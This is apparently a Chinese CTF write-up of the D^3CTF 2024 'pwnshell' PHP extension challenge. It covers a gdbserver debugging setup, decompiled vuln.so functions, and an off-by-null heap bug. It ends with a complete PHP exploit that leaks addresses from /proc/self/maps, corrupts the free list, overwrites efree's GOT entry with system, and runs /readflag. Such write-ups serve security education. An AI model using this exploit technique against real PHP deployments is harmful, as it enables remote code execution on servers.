nyyyddddn

d3ctf_pwnshell复现

2024/06/30

pwnshell 复现 (php pwn)

如何调试?

php pwn该如何调试?在docker中装一个gdbserver,用gdbserver起一个程序,在exp中用能触发io中断的php函数打”断点”,之后用gdb连上去后在vuln.so里打个断点就好了

能触发io中断的函数,比如说fgetc

1
2
3
4
<?php
$char = fgetc(STDIN);
echo "You entered: $char\n";
?>

在pwnshell这个题目中php配置文件里禁用了fgetc这个函数,修改php.ini中的disable_functions,把fgetc删掉就可以使用这个函数了

调试相关的命令

安装gdbserver

只需要在dockerfile里面加上安装的参数,之后构建镜像就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
FROM php:8.3-apache

RUN DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y vim gdbserver

COPY ./stuff/php.ini /usr/local/etc/php
COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./stuff/readflag /
COPY ./flag.txt /flag.txt
COPY ./stuff/index.php /var/www/html
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
RUN chmod -R 777 /var/www/html

构建镜像

1
docker build -t nyyyddddn/pwnshell .

开启容器

多映射一个 8888端口用来调试

1
docker run -d -p 9999:80 -p 8888:8888 nyyyddddn/pwnshell

gdbserver的使用

gdbserver开启一个监听

1
gdbserver :8888 php test.php

然后使用gdb连接上去调试

1
2
3
gdb -q \
-ex "add-symbol-file vuln.so" \
-ex "target remote :8888"

之后在vuln.so中打一个断点就好了

1
2
3
4
pwndbg> b zif_addHacker
Breakpoint 1 at 0x1210
pwndbg> c
Continuing.

如何分析程序逻辑

php module 程序的入口点是get_module 这个函数,会返回一个zend_module_entry结构体指针,这个结构体用来描述要加载的自定义函数地址 和信息,可以通过分析这个结构体知道哪些函数是出题人自定义的函数,再去分析这些函数的逻辑寻址漏洞

https://github.com/php/php-src/blob/master/Zend/zend_modules.h

php8.3中 _zend_module_enrty的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct _zend_module_entry {
unsigned short size;
unsigned int zend_api;
unsigned char zend_debug;
unsigned char zts;
const struct _zend_ini_entry *ini_entry;
const struct _zend_module_dep *deps;
const char *name;
const struct _zend_function_entry *functions;
zend_result (*module_startup_func)(INIT_FUNC_ARGS);
zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
zend_result (*request_startup_func)(INIT_FUNC_ARGS);
zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
const char *version;
size_t globals_size;
#ifdef ZTS
ts_rsrc_id* globals_id_ptr;
#else
void* globals_ptr;
#endif
void (*globals_ctor)(void *global);
void (*globals_dtor)(void *global);
zend_result (*post_deactivate_func)(void);
int module_started;
unsigned char type;
void *handle;
int module_number;
const char *build_id;
};

所以 从functions指针跟过去后可以发现出题人自定义的函数有四个,分别是addHacker removeHacker displayHacker editHacker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.data:000000000000409F 00                            db    0
.data:00000000000040A0 03 20 00 00 00 00 00 00 dq offset aVuln ; "vuln"
.data:00000000000040A8 60 3D 00 00 00 00 00 00 dq offset off_3D60 ; "addHacker"
.data:00000000000040B0 C0 11 00 00 00 00 00 00 dq offset zm_startup_vuln
.data:00000000000040B8 00 12 00 00 00 00 00 00 dq offset zm_shutdown_vuln
.data:00000000000040C0 00 db 0


.data.rel.ro:0000000000003D60 1E 20 00 00 00 00 00 00 off_3D60 dq offset aAddhacker ; DATA XREF: .data:00000000000040A8↓o
.data.rel.ro:0000000000003D60 ; "addHacker"
.data.rel.ro:0000000000003D68 10 12 00 00 00 00 00 00 dq offset zif_addHacker
.data.rel.ro:0000000000003D70 00 3D 00 00 00 00 00 00 dq offset unk_3D00
.data.rel.ro:0000000000003D78 02 db 2
.data.rel.ro:0000000000003D79 00 db 0
.data.rel.ro:0000000000003D7A 00 db 0
.data.rel.ro:0000000000003D7B 00 db 0
.data.rel.ro:0000000000003D7C 00 db 0
.data.rel.ro:0000000000003D7D 00 db 0
.data.rel.ro:0000000000003D7E 00 db 0
.data.rel.ro:0000000000003D7F 00 db 0
.data.rel.ro:0000000000003D80 28 20 00 00 00 00 00 00 dq offset aRemovehacker ; "removeHacker"
.data.rel.ro:0000000000003D88 50 13 00 00 00 00 00 00 dq offset zif_removeHacker
.data.rel.ro:0000000000003D90 C0 3C 00 00 00 00 00 00 dq offset unk_3CC0
.data.rel.ro:0000000000003D98 01 db 1
.data.rel.ro:0000000000003D99 00 db 0
.data.rel.ro:0000000000003D9A 00 db 0
.data.rel.ro:0000000000003D9B 00 db 0
.data.rel.ro:0000000000003D9C 00 db 0
.data.rel.ro:0000000000003D9D 00 db 0
.data.rel.ro:0000000000003D9E 00 db 0
.data.rel.ro:0000000000003D9F 00 db 0
.data.rel.ro:0000000000003DA0 35 20 00 00 00 00 00 00 dq offset aDisplayhacker ; "displayHacker"
.data.rel.ro:0000000000003DA8 20 15 00 00 00 00 00 00 dq offset zif_displayHacker
.data.rel.ro:0000000000003DB0 80 3C 00 00 00 00 00 00 dq offset unk_3C80
.data.rel.ro:0000000000003DB8 01 db 1
.data.rel.ro:0000000000003DB9 00 db 0
.data.rel.ro:0000000000003DBA 00 db 0
.data.rel.ro:0000000000003DBB 00 db 0
.data.rel.ro:0000000000003DBC 00 db 0
.data.rel.ro:0000000000003DBD 00 db 0
.data.rel.ro:0000000000003DBE 00 db 0
.data.rel.ro:0000000000003DBF 00 db 0
.data.rel.ro:0000000000003DC0 43 20 00 00 00 00 00 00 dq offset aEdithacker ; "editHacker"
.data.rel.ro:0000000000003DC8 10 14 00 00 00 00 00 00 dq offset zif_editHacker
.data.rel.ro:0000000000003DD0 20 3C 00 00 00 00 00 00 dq offset unk_3C20
.data.rel.ro:0000000000003DD8 02 db 2
.data.rel.ro:0000000000003DD9 00 db 0

zif_addHacker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
unsigned __int64 __fastcall zif_addHacker(__int64 a1, __int64 a2)
{
__int64 v2; // rbp
__int64 v3; // rdi
__int64 v5; // rdx
_BYTE *v6; // rax
char *v7; // r12
_QWORD *v8; // rbx
void *v9; // rax
size_t v10; // rdx
const void *v11; // rsi
_BYTE *v12; // r13
__int64 v13; // rax
_BYTE *arg2; // [rsp+8h] [rbp-40h] BYREF
_BYTE *arg1; // [rsp+10h] [rbp-38h] BYREF
unsigned __int64 v16; // [rsp+18h] [rbp-30h]

v3 = *(unsigned int *)(a1 + 44);
v16 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v3, &unk_2000, &arg1, &arg2) != -1 )
{
if ( arg1[8] == 6 && arg2[8] == 6 )
{
v5 = 0LL;
v6 = (char *)&chunkList + 8;
while ( *v6 != 1 )
{
++v5;
v6 += 16;
if ( v5 == 16 )
goto LABEL_9;
}
v2 = v5;
LABEL_9:
v7 = (char *)&chunkList + 16 * v2;
v8 = (_QWORD *)_emalloc(*(_QWORD *)(*(_QWORD *)arg2 + 16LL) + 16LL);
v9 = (void *)_emalloc(*(_QWORD *)(*(_QWORD *)arg1 + 16LL));
*v8 = v9;
v10 = *(_QWORD *)(*(_QWORD *)arg1 + 16LL);
v11 = (const void *)(*(_QWORD *)arg1 + 24LL);
v8[1] = v10;
memcpy(v9, v11, v10);
v12 = arg2;
memcpy(v8 + 2, (const void *)(*(_QWORD *)arg2 + 24LL), *(_QWORD *)(*(_QWORD *)arg2 + 16LL));
v13 = *(_QWORD *)(*(_QWORD *)v12 + 16LL);
*(_QWORD *)v7 = v8;
*((_DWORD *)v7 + 2) = 13;
*((_BYTE *)v8 + v13 + 16) = 0;
}
else
{
*(_DWORD *)(a2 + 8) = 1;
}
}
return v16 - __readfsqword(0x28u);
}

https://github.com/php/php-src/blob/212b2834e9fbcb9a48b9cb709713b6cb197607cc/docs/source/core/data-structures/zval.rst#L23

zend_parse_parameters是一个可变参数函数,用途是根据指定的格式字符串解析和验证传入的参数,并将解析后的值存储在相应的变量中。

1
ZEND_API zend_result zend_parse_parameters(uint32_t num_args, const char *type_spec, ...);
php变量类型的表示方法

https://github.com/php/php-src/blob/212b2834e9fbcb9a48b9cb709713b6cb197607cc/docs/source/core/data-structures/zval.rst#L23

php是一门动态类型语言,变量可以存储任何类型的数据,并且变量的类型可以在程序执行期间发生变化,在zend引擎中变量是由一个叫做zval的结构体去描述的

1
typedef struct _zval_struct     zval;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct _zval_struct {
zend_value value; /* value */
union {
uint32_t type_info;
struct {
ZEND_ENDIAN_LOHI_3(
uint8_t type, /* active type */
uint8_t type_flags,
union {
uint16_t extra; /* not further specified */
} u)
} v;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* cache slot (for RECV_INIT) */
uint32_t opline_num; /* opline number (for FAST_CALL) */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t guard; /* recursion and single property guard */
uint32_t constant_flags; /* constant flags */
uint32_t extra; /* not further specified */
} u2;
};

其中关于类型的定义是这样的

1
2
3
4
5
6
7
8
9
10
11
#define IS_UNDEF     0 /* A variable that was never written to. */
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4 /* An integer value. */
#define IS_DOUBLE 5 /* A floating point value. */
#define IS_STRING 6
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10

所以从这里可以判断出addhacker这个函数有两个字符串类型的参数

1
2
3
if ( (unsigned int)zend_parse_parameters(v3, &unk_2000, &arg1, &arg2) != -1 )
{
if ( arg1[8] == 6 && arg2[8] == 6 )

然后代码中的 arg1 + 0x10 arg1 + 0x18 arg2 + 0x10 arg2 + 0x18调试了一下发现 + 0x10 取字符串的长度,+ 0x18是取字符串的基地址

chunklist的结构是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x /100gx 0x7d6e061d7160
0x7d6e061d7160 <chunkList>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7170 <chunkList+16>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7180 <chunkList+32>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7190 <chunkList+48>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71a0 <chunkList+64>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71b0 <chunkList+80>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71c0 <chunkList+96>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71d0 <chunkList+112>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71e0 <chunkList+128>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71f0 <chunkList+144>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7200 <chunkList+160>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7210 <chunkList+176>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7220 <chunkList+192>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7230 <chunkList+208>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7240 <chunkList+224>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7250 <chunkList+240>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7260: 0x0000000000000000 0x0000000000000000

所以这段代码的用途是在chunklist中找一个可用的空间,然后通过arg1的长度和arg2 + 0x10的长度申请两个堆,把arg1申请出来的堆写到arg2的堆里,最后把通过arg2堆写回chunklist,同时修改chunklist中inuse的标志位

写回chunklist逻辑附近有一个off by null的漏洞

1
2
3
4
  *(_QWORD *)v7 = v8;
*((_DWORD *)v7 + 2) = 13;
*((_BYTE *)v8 + v13 + 16) = 0;
}

zif_removeHacker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 __fastcall zif_removeHacker(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__int64 v4; // rdi
_DWORD *v6; // rax
_QWORD *v7; // rbp
__int64 arg1; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v9; // [rsp+8h] [rbp-20h]

v4 = *(unsigned int *)(a1 + 44);
v9 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v4, &unk_2001, &arg1, a4) != -1 )
{
if ( *(_BYTE *)(arg1 + 8) != 4
|| (v6 = &chunkList[4 * *(_QWORD *)arg1], *((_BYTE *)v6 + 8) == 1)
|| *(_QWORD *)arg1 > 0xFuLL )
{
*(_DWORD *)(a2 + 8) = 1;
}
else
{
v7 = *(_QWORD **)v6;
_efree(**(_QWORD **)v6);
_efree(v7);
chunkList[4 * *(_QWORD *)arg1 + 2] = 1;
}
}
return v9 - __readfsqword(0x28u);
}

removeHacker只有一个整型参数idx, 传递idx过去后会根据idx去chunklist中找到arg2堆,然后再根据arg2堆的内容找到arg1堆最后free掉两个堆,同时修改chunlist中的inuse标志位

zif_editHacker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void *__fastcall zif_editHacker(__int64 a1, __int64 a2)
{
__int64 v2; // rdi
char *v4; // rax
void **v5; // rbx
void *v6; // rdi
size_t v7; // rdx
void *v8; // rax
__int64 v9; // [rsp+8h] [rbp-20h] BYREF
_BYTE *v10; // [rsp+10h] [rbp-18h] BYREF
unsigned __int64 v11; // [rsp+18h] [rbp-10h]

v2 = *(unsigned int *)(a1 + 44);
v11 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v2, &unk_2000, &v9, &v10) == -1 )
return (void *)(v11 - __readfsqword(0x28u));
if ( *(_BYTE *)(v9 + 8) != 4
|| v10[8] != 6
|| (v4 = (char *)&chunkList + 16 * *(_QWORD *)v9, v4[8] == 1)
|| *(_QWORD *)v9 > 0xFuLL )
{
*(_DWORD *)(a2 + 8) = 1;
return (void *)(v11 - __readfsqword(0x28u));
}
v5 = *(void ***)v4;
v6 = **(void ***)v4;
v7 = *(_QWORD *)(*(_QWORD *)v10 + 16LL);
if ( v7 <= *(_QWORD *)(*(_QWORD *)v4 + 8LL) )
{
memcpy(v6, (const void *)(*(_QWORD *)v10 + 24LL), v7);
return (void *)(v11 - __readfsqword(0x28u));
}
_efree(v6);
v8 = (void *)_emalloc(*(_QWORD *)(*(_QWORD *)v10 + 16LL));
*v5 = v8;
return memcpy(v8, (const void *)(*(_QWORD *)v10 + 24LL), *(_QWORD *)(*(_QWORD *)v10 + 16LL));
}

edithacker函数的用途是编辑和更新指定索引的 chunk 数据,如果新数据小于或等于当前 chunk 的大小则直接覆盖,否则重新分配内存并复制新数据

zif_displayHacker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall zif_displayHacker(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__int64 v4; // rdi
char *v6; // rax
const char *v7; // r13
size_t v8; // r12
_QWORD *v9; // rbp
__int64 v10; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v11; // [rsp+8h] [rbp-30h]

v4 = *(unsigned int *)(a1 + 44);
v11 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v4, &unk_2001, &v10, a4) != -1 )
{
if ( *(_BYTE *)(v10 + 8) != 4
|| (v6 = (char *)&chunkList + 16 * *(_QWORD *)v10, v6[8] == 1)
|| *(_QWORD *)v10 > 0xFuLL )
{
*(_DWORD *)(a2 + 8) = 1;
}
else
{
v7 = **(const char ***)v6;
v8 = strlen(v7);
v9 = (_QWORD *)_emalloc((v8 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*v9 = 0x1600000001LL;
v9[1] = 0LL;
v9[2] = v8;
memcpy(v9 + 3, v7, v8);
*((_BYTE *)v9 + v8 + 24) = 0;
*(_QWORD *)a2 = v9;
*(_DWORD *)(a2 + 8) = 262;
}
}
return v11 - __readfsqword(0x28u);
}

displahacker函数的用途是根据指定索引从chunklist中获取对应chunk的数据,然后返回一个对应的字符串对象

exp

https://a1ex.online/2021/03/06/2021-antCTF/

https://qanux.github.io/2024/04/29/d3ctf2024/index.html#PwnShell

通过linux 伪文件系统泄露libc基地址和模块基地址后,通过堆风水破坏free list构造任意地址写的原语,将 efree的got表覆盖成system,之后去free一个内容为 binsh的堆就好了,不过php pwn不能直接getshell,得反弹shell或者是用readflag把 flag读出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
function str2Hex($str) {
$hex = "";
for ($i = strlen($str) - 1;$i >= 0;$i--) $hex.= dechex(ord($str[$i]));
$hex = strtoupper($hex);
return $hex;
}

function int2Str($i, $x = 8) {
$re = "";
for ($j = 0; $j < $x; $j++) {
$re .= pack('C', $i & 0xff);
$i >>= 8;
}
return $re;
}

function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}

$libc="";
$mbase="";

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);

$system_addr = 0x4c490;
$efree_got = 0x4038;

$a = str_repeat("a", 0x40);
$b = str_repeat("b", 0x3f);
// fgetc(STDIN);

for ($i = 1; $i < 0xe; $i++) {
$n = 0x61 + $i;
$aa = pack("C", $n);
$aaa = str_repeat($aa, 0x40);
addHacker($aaa, $b);
}

// fgetc(STDIN);
$cmd = "/readflag > /var/www/html/flag.txt\x00";
editHacker(0,$cmd);

removeHacker(7);
$c = str_repeat("c", 0x40);
addHacker($a, $c);

removeHacker(6);
editHacker(8, int2str($mod_base+$efree_got));

addHacker($a, $b);
$payload = str_repeat(int2str($libc_base+$system_addr),8);

addHacker($payload, $b);
// fgetc(STDIN);
removeHacker(0);
?>
CATALOG
  1. 1. pwnshell 复现 (php pwn)
    1. 1.1. 如何调试?
    2. 1.2. 调试相关的命令
      1. 1.2.1. 安装gdbserver
      2. 1.2.2. 构建镜像
      3. 1.2.3. 开启容器
      4. 1.2.4. gdbserver的使用
    3. 1.3. 如何分析程序逻辑
      1. 1.3.1. zif_addHacker
        1. 1.3.1.1. php变量类型的表示方法
      2. 1.3.2. zif_removeHacker
      3. 1.3.3. zif_editHacker
      4. 1.3.4. zif_displayHacker
    4. 1.4. exp